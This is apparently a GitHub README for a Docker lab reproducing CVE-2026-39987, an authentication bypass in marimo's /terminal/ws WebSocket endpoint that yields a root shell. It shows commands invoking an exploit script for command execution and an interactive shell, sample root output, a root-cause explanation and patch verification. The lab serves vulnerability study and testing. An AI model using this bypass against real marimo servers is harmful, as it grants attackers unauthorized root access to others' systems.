Dhiaelhak-Rached/CVE-2026-39987-lab-or-marimo-cve-lab
GitHub: Dhiaelhak-Rached/CVE-2026-39987-lab-or-marimo-cve-lab
针对 marimo 笔记本工具 CVE-2026-39987 认证绕过漏洞的 Docker 靶场与利用脚本,完整复现从未授权 WebSocket 连接到获取 root shell 的攻击链路。
Stars: 0 | Forks: 0
# CVE-2026-39987 实验指南
## 目录
- [概述](#overview)
- [架构](#architecture)
- [快速开始](#quick-start)
- [步骤详解](#step-by-step-walkthrough)
- [步骤 1:构建并启动实验环境](#step-1-build--start-the-lab)
- [步骤 2:确认认证已启用](#step-2-confirm-authentication-is-active)
- [步骤 3:运行漏洞利用程序](#step-3-run-the-exploit)
- [步骤 4:理解绕过机制](#step-4-understand-the-bypass)
- [步骤 5:补丁验证](#step-5-patch-verification)
- [故障排除](#troubleshooting)
- [清理](#cleanup)
- [参考资料](#references)
## 概述
| | |
|:---|:---|
| **目标** | 运行在 `edit` 模式下并启用了 token 认证的 marimo `<= 0.20.4` |
| **攻击者** | 任何拥有 Python 3 和 `websocket-client` 的主机 |
| **目标** | 在**不**提供 auth token 的情况下,通过 `/terminal/ws` 获取一个交互式 root shell |
| **类型** | 认证绕过 → 远程代码执行 (RCE) |
| **补丁** | marimo `>= 0.23.0` |
## 架构
```
┌─────────────────────────────────────────────────────────────┐
│ Docker Network │
│ (cve-lab) │
│ │
│ ┌──────────────────────┐ ┌──────────────────────┐ │
│ │ marimo-vulnerable │ │ marimo-attacker │ │
│ │ (Target) │ │ (Attacker) │ │
│ │ Port: 2718 │ │ Python 3.12 │ │
│ │ Auth: Token │◄─────│ exploit.py │ │
│ │ marimo: 0.20.4 │ │ │ │
│ └──────────────────────┘ └──────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────┘
```
**本实验包含的文件:**
| 文件 | 用途 |
|------|---------|
| `Dockerfile.target` | 构建带有漏洞的 marimo 服务器 |
| `docker-compose.yml` | 编排目标和攻击者容器 |
| `exploit.py` | PoC 漏洞利用脚本(单次命令执行 + 交互模式) |
| `LAB_GUIDE.md` | 本指南 |
## 快速开始
```
# Clone 仓库
git clone https://github.com/YOUR_USERNAME/CVE-2026-39987-lab.git
cd CVE-2026-39987-lab
# 启动实验环境
docker-compose up --build -d
# 运行 exploit
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"
# 获取交互式 shell
python exploit.py ws://127.0.0.1:2718/terminal/ws shell
```
## 步骤详解
### 步骤 1:构建并启动实验环境
```
# 创建工作目录并将这些文件放入其中:
# - docker-compose.yml
# - Dockerfile.target
# - exploit.py
# 构建并启动 target
docker-compose up --build -d
# 验证 target 是否正在运行
docker ps
# 你应该看到:marimo-vulnerable Up 0.0.0.0:2718->2718/tcp
```
**执行过程:**
- Docker 构建一个包含 marimo `0.20.4`(存在漏洞的版本)的容器
- 服务器在 `edit` 模式下启动,并明确启用 `--token` 认证
- 端口 `2718` 被暴露给您的主机
### 步骤 2:确认认证已启用
在利用漏洞之前,让我们验证目标在正常端点上是否受到妥善保护:
```
# 尝试在浏览器或通过 curl 打开主 UI
curl -s http://127.0.0.1:2718/
# 预期:重定向到登录页面或 401/403 (需要 token)
# 尝试在没有 token 的情况下连接主 WebSocket (/ws)
python3 -c "import websocket; ws=websocket.WebSocket(); ws.connect('ws://127.0.0.1:2718/ws')"
# 预期:由于缺少 auth,连接被拒绝或立即关闭
```
### 步骤 3:运行漏洞利用程序
#### 选项 A — 单次命令执行
```
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"
```
**预期输出:**
```
[+] Connecting to ws://127.0.0.1:2718/terminal/ws...
[+] Connected! No auth needed - Terminal WebSocket accepted
[*] Executing: id && whoami && hostname
[+] Output:
uid=0(root) gid=0(root) groups=0(root)
root
```
#### 选项 B — 交互式 shell
```
python exploit.py ws://127.0.0.1:2718/terminal/ws shell
```
您将看到一个 `$` 提示符,可以在其中运行任意系统命令:
```
[+] Got interactive shell! Type 'exit' to quit.
$ ls -la /
total 56
drwxr-xr-x 1 root root 4096 Jan 1 00:00 .
drwxr-xr-x 1 root root 4096 Jan 1 00:00 ..
...
$ exit
[*] Connection closed.
```
### 步骤 4:理解绕过机制
#### 为什么会生效?
该漏洞的存在是因为各个 WebSocket 端点之间存在**不一致的认证检查**:
```
┌─────────────────────────────────────────────────────────────────┐
│ Authentication Middleware (Starlette) │
│ ├── Marks unauthenticated connections as "UnauthenticatedUser" │
│ └── Does NOT automatically close WebSocket connections │
└─────────────────────────────────────────────────────────────────┘
│
┌───────────────┴───────────────┐
▼ ▼
┌──────────────────┐ ┌──────────────────┐
│ /ws (Main) │ │ /terminal/ws │
│ │ │ (Terminal) │
│ ✓ validate_auth()│ │ ✗ NO auth check │
│ ✓ @requires("edit")│ │ ✓ SessionMode.EDIT│
│ │ │ ✓ supports_terminal()│
│ Rejects unauth │ │ ✓ Accepts immediately│
└──────────────────┘ └──────────────────┘
```
#### 根本原因剖析
1. **认证中间件**(`Starlette AuthenticationMiddleware`)将未经认证的连接标记为 `UnauthenticatedUser`,但**不会**自动关闭 WebSocket 连接。
2. **正常的端点**(例如 `/ws`)会调用 `validate_auth()` 或使用 `@requires("edit")`,从而拒绝未认证的客户端。
3. **存在漏洞的端点**(`/terminal/ws`)仅检查:
- `SessionMode.EDIT` — 确保服务器处于编辑模式
- `supports_terminal()` — 确保 terminal 功能可用
- ...然后立即调用 `await websocket.accept()`,**没有**进行任何认证检查。
4. **影响:** `pty.fork()` 派生出一个完整的 PTY shell,以服务器用户(在默认的 Docker 镜像中为 root)身份运行,使攻击者获得完整的系统访问权限。
#### 修复方案 (marimo >= 0.23.0)
该补丁为 `/terminal/ws` 端点添加了适当的认证验证,确保其安全级别与其他端点保持一致。
### 步骤 5:补丁验证
将目标升级到已修复的版本并重新运行漏洞利用程序以确认修复效果:
```
# 编辑 Dockerfile.target:将 marimo==0.20.4 更改为 marimo==0.23.0
# 或者使用:sed -i 's/marimo==0.20.4/marimo==0.23.0/' Dockerfile.target
docker-compose down
docker-compose up --build -d
# 再次尝试 exploit
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id"
```
**补丁应用后的预期结果:**
```
[+] Connecting to ws://127.0.0.1:2718/terminal/ws...
[-] Connection failed: Connection refused or authentication required
```
连接现在会被立即拒绝/关闭;无法获取 shell。 ✅
## 故障排除
| 问题 | 解决方案 |
|-------|----------|
| `Connection refused` | 确保容器正在运行:`docker ps`,并使用 `docker logs marimo-vulnerable` 检查日志 |
| `ModuleNotFoundError: No module named 'websocket'` | 安装客户端:`pip install websocket-client` |
| 漏洞利用程序无输出 | 增加超时时间:`python exploit.py ... --timeout 20` |
| 容器立即退出 | 检查 Dockerfile 语法并确保 `test.py` notebook 已正确创建 |
| Permission denied | 确保 Docker 守护进程正在运行且您拥有相应的权限 |
## 清理
```
# 停止并移除容器
docker-compose down -v
# 移除已构建的镜像
docker rmi cve-lab_target
# 清理所有悬空的镜像
docker image prune -f
```
## 参考资料
- **GitHub 安全公告:** https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
- **补丁 PR:** https://github.com/marimo-team/marimo/pull/9098
- **CVE 记录:** https://cveawg.mitre.org/api/cve/CVE-2026-39987
- **marimo 文档:** https://docs.marimo.io
|
**仅用于教育目的。请负责任地使用。** 🔒
标签:0day, CISA项目, CVE-2026-39987, Docker, Marimo, OPA, PoC, RCE, WebSocket漏洞, Web安全, XXE攻击, 协议分析, 安全防御评估, 暴力破解, 权限提升, 漏洞复现, 编程工具, 网络安全, 蓝队分析, 请求拦截, 身份验证绕过, 远程代码执行, 逆向工具, 隐私保护, 靶场